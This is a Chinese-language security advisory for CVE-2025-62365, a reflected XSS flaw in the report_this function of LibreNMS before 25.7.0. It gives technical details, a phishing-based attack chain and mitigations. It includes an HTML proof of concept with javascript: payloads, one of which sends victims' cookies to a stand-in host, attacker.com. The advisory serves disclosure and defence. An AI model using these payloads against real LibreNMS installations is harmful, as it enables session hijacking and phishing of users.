IPBUF安全漏洞报告
English
CVE-2025-62365 CVSS 6.1 中危

CVE-2025-62365:LibreNMS report_this函数反射型XSS漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-62365
漏洞类型
反射型跨站脚本攻击(Reflected XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LibreNMS

相关标签

XSS反射型XSS跨站脚本LibreNMS网络监控PHPhtmlentities中危漏洞CVE-2025-62365

漏洞概述

CVE-2025-62365是LibreNMS网络监控系统中存在的一个反射型跨站脚本(Reflected XSS)漏洞。LibreNMS是一款基于PHP/MySQL/SNMP的开源网络监控系统,广泛用于企业网络设备的监控与管理。该漏洞存在于LibreNMS 25.7.0之前版本的`librenms/includes/functions.php`文件中的`report_this`函数中。由于该函数对用户输入的`project_issues`参数使用了不正确的过滤方式——错误地在href属性环境中使用了`htmlentities`函数进行编码,导致攻击者可以通过构造恶意URL链接,在受害者点击链接后执行任意JavaScript代码。该漏洞的CVSS评分为6.1,属于中危级别。虽然该漏洞需要用户交互(UI:R)才能触发,且无需认证(PR:N),但由于攻击向量为网络(AV:N),且具有作用域变更(S:C),攻击者可以通过钓鱼邮件、恶意网页等方式诱导用户点击特制链接,从而窃取用户会话、获取敏感信息或执行未授权操作。该漏洞已在25.7.0版本中修复,建议用户尽快升级到最新版本以消除安全风险。

技术细节

该漏洞的根本原因在于LibreNMS的`report_this`函数对`project_issues`参数的处理不当。在HTML的href属性环境中,`htmlentities`函数默认不会对某些特殊字符(如URL编码的javascript:伪协议)进行充分的转义处理。攻击者可以构造类似`javascript:alert(document.cookie)`的恶意payload,并将其嵌入到URL的`project_issues`参数中。当受害者点击包含该恶意参数的链接时,浏览器会解析href属性中的JavaScript伪协议并执行其中的恶意代码。具体利用方式如下:攻击者首先构造一个包含恶意`project_issues`参数的URL,例如`http://target/librenms/report/?project_issues=javascript:alert(document.cookie)`,然后通过钓鱼邮件或社交工程手段诱导受害者点击该链接。由于该漏洞是反射型XSS,恶意代码不会持久化存储在服务器端,而是在用户点击链接时立即执行。攻击成功后,攻击者可以窃取用户的会话Cookie、进行钓鱼攻击、篡改页面内容或执行其他恶意操作。需要注意的是,该漏洞的利用需要用户交互(点击恶意链接),且攻击代码会在受害者的浏览器上下文中执行,因此攻击者可以利用受害者的权限执行操作。修复方法是将`htmlentities`函数替换为更适合在href属性环境中使用的过滤函数,或者使用`ENT_QUOTES`标志并结合URL白名单验证。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标组织是否使用LibreNMS网络监控系统,并确定其版本是否低于25.7.0。可以通过HTTP响应头、登录页面特征或Shodan等搜索引擎进行识别。
STEP 2
步骤2:构造恶意URL
攻击者构造包含恶意JavaScript代码的URL,利用report_this函数中project_issues参数的不安全过滤,将javascript:伪协议作为参数值嵌入到URL中。
STEP 3
步骤3:钓鱼分发
攻击者通过钓鱼邮件、即时消息、社交媒体或恶意网站等方式,将包含恶意URL的链接分发给目标用户,利用社会工程学诱导用户点击。
STEP 4
步骤4:触发XSS执行
受害者点击恶意链接后,浏览器向LibreNMS服务器发送请求,服务器将恶意参数反射回响应页面,由于href属性中未正确转义,浏览器执行嵌入的JavaScript代码。
STEP 5
步骤5:恶意操作执行
攻击者在受害者浏览器上下文中执行恶意操作,如窃取会话Cookie、重定向到钓鱼页面、篡改页面内容或利用受害者权限执行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62365: LibreNMS Reflected XSS PoC --> <!-- Save as xss_poc.html and open in browser, or use as href in phishing link --> <!DOCTYPE html> <html> <head> <title>CVE-2025-62365 PoC</title> </head> <body> <!-- Malicious URL exploiting the report_this function via project_issues parameter --> <!-- The htmlentities() function does not properly sanitize javascript: URI in href context --> <a href="http://target/librenms/report/?project_issues=javascript:alert(document.cookie)"> Click here to view network report </a> <!-- Alternative: Direct URL with encoded payload --> <!-- http://target/librenms/report/?project_issues=javascript:alert('XSS-'+document.domain) --> <!-- Alternative: Using event handler payload --> <!-- http://target/librenms/report/?project_issues=javascript:void(document.location='http://attacker.com/steal?c='+document.cookie) --> <script> // Auto-redirect PoC for testing purposes // window.location = "http://target/librenms/report/?project_issues=javascript:alert(document.cookie)"; </script> </body> </html>

影响范围

LibreNMS < 25.7.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中添加针对report_this函数和project_issues参数的规则,阻止包含javascript:、data:等危险伪协议的请求;2)配置内容安全策略(CSP),添加类似`default-src 'self'`的策略限制脚本执行来源;3)对用户输入实施URL白名单过滤,仅允许http://和https://协议的URL;4)提醒用户不要点击来源不明的链接,特别是涉及网络监控系统的链接;5)监控异常的网络请求和用户行为,及时发现潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表